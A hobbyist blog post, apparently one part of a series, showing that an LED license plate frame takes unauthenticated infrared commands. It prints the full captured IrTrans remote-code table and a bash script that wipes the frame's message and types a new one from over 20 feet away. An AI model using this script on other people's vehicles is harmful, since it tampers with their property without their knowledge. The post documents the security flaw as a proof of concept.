Proof-of-Concept – LED License Plate Frame Rapid Automated Reprogramming

As I mentioned previously, I was being bitten by the bug of figuring stuff out, so I couldn’t resist going out to purchase one of those LED scrolling license plate frames.  I quickly got it hooked up to a 12V source and determined that indeed, there is absolutely no form of authentication required to change the messages on the display.  You simply push Edit on the remote, then Enter, then type in your message letter by letter, followed by another Enter.  I got out my IrTrans and started sampling the remote’s signals.

It took me only about 10 minutes to sample all the codes from the remote and write a quick bash script to throw them out again.  The following is a proof-of-concept demonstration of how quickly I can reliably re-program a message.  Warning: poor video and audio quality.  Poor camera, poor lighting, room full of noise…  Bad combo.  I’ll get a better one up when i get a better camera.

Through some quick testing, I learned that I can be standing over 20 feet away (in a relatively low light environment) and still get reliable communication from the IrTrans to the frame.  I’m not sure how negatively daylight or a windshield would affect transmission quality.  I’ll have to test outdoors soon.

The following are the IrTrans Remote Control Codes and the Bash script used to run the irclient program to send out the desired codes.  I will try to get some raw code data up soon.

IrTrans Remote Control Codes: LEDlicense.rem

<pre>[REMOTE]
 [NAME]LEDlicense

[TIMING]
 [0][N]5[1]8976 4520[2]536 592[3]608 1656[4]8976 2280[5]536 39936[RC]1[RP]0[FREQ]39[SB]

[COMMANDS]
 [OnOff][T]0[D]S00000000111111110011100011000111320
 [Enter][T]0[D]S00000000111111110001001011101101320
 [Edit][T]0[D]S00000000111111111001001001101101320
 [Delete][T]0[D]S00000000111111110101001010101101320
 [Clear][T]0[D]S00000000111111111011000001001111320
 [>][T]0[D]S00000000111111110001000011101111320
 [<][T]0[D]S00000000111111111101000000101111320
 [Shift][T]0[D]S00000000111111110101000010101111320
 [Caps][T]0[D]S00000000111111111001000001101111320
 [Run][T]0[D]S00000000111111111111100000000111320
 [Speed][T]0[D]S00000000111111111110100000010111320
 [Invert][T]0[D]S00000000111111110010100011010111320
 [Insert][T]0[D]S00000000111111111101001000101101320
 [1][T]0[D]S00000000111111110000101011110101320
 [2][T]0[D]S00000000111111111000101001110101320
 [3][T]0[D]S00000000111111111100101000110101320
 [4][T]0[D]S00000000111111111000100001110111320
 [5][T]0[D]S00000000111111111100100000110111320
 [6][T]0[D]S00000000111111110100100010110111320
 [7][T]0[D]S00000000111111110100101010110101320
 [8][T]0[D]S00000000111111110000100011110111320
 [9][T]0[D]S00000000111111111010101001010101320
 [0][T]0[D]S00000000111111111110101000010101320
 [A][T]0[D]S00000000111111111011101001000101320
 [B][T]0[D]S00000000111111111111101000000101320
 [C][T]0[D]S00000000111111110011101011000101320
 [D][T]0[D]S00000000111111110111100010000111320
 [E][T]0[D]S00000000111111110111101010000101320
 [F][T]0[D]S00000000111111111011100001000111320
 [G][T]0[D]S00000000111111110001101011100101320
 [H][T]0[D]S00000000111111110101100010100111320
 [I][T]0[D]S00000000111111111101101000100101320
 [J][T]0[D]S00000000111111111001100001100111320
 [K][T]0[D]S00000000111111111101100000100111320
 [L][T]0[D]S00000000111111111001101001100101320
 [M][T]0[D]S00000000111111110101101010100101320
 [N][T]0[D]S00000000111111110001100011100111320
 [O][T]0[D]S00000000111111111100000000111111320
 [P][T]0[D]S00000000111111110100000010111111320
 [Q][T]0[D]S00000000111111111100001000111101320
 [R][T]0[D]S00000000111111111000000001111111320
 [S][T]0[D]S00000000111111110000001011111101320
 [T][T]0[D]S00000000111111111000001001111101320
 [U][T]0[D]S00000000111111110100001010111101320
 [V][T]0[D]S00000000111111110000000011111111320
 [W][T]0[D]S00000000111111110010001011011101320
 [X][T]0[D]S00000000111111110110000010011111320
 [Y][T]0[D]S00000000111111110110001010011101320
 [Z][T]0[D]S00000000111111110010000011011111320
 [!][T]0[D]S00000000111111111110000000011111320
 [?][T]0[D]S00000000111111111010001001011101320
 [#][T]0[D]S00000000111111111110001000011101320
 [$][T]0[D]S00000000111111111010000001011111320

Bash script to run irclient commands: testscript.sh
irclient usage: irclient [server] [remote] [button]

#!/bin/bash
# Script to Reprogram an LCD License Plate Frame

# Sends commands to edit currently scrolling message, then clears the previous message, confirming with a Y
./irclient localhost LEDlicense Edit
./irclient localhost LEDlicense Enter
./irclient localhost LEDlicense Clear
./irclient localhost LEDlicense Y

#Sends commmands to type new message
./irclient localhost LEDlicense T
./irclient localhost LEDlicense H
./irclient localhost LEDlicense I
./irclient localhost LEDlicense S
./irclient localhost LEDlicense \>
./irclient localhost LEDlicense I
./irclient localhost LEDlicense S
./irclient localhost LEDlicense \>
./irclient localhost LEDlicense A
./irclient localhost LEDlicense \>
./irclient localhost LEDlicense T
./irclient localhost LEDlicense E
./irclient localhost LEDlicense S
./irclient localhost LEDlicense T
./irclient localhost LEDlicense !

#Final Enter to Confirm and Run Message
./irclient localhost LEDlicense Enter

Next step is to build a self-contained, battery operated unit to broadcast pre-programmed messages.  I will probably build upon the work of Dangerous Prototype‘s Infrared Toy.

Check out Part 3, where I analyze some raw remote signals.

Advertisements
This entry was posted in LED License Plate Frame, Projects, Unfinished. Bookmark the permalink.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s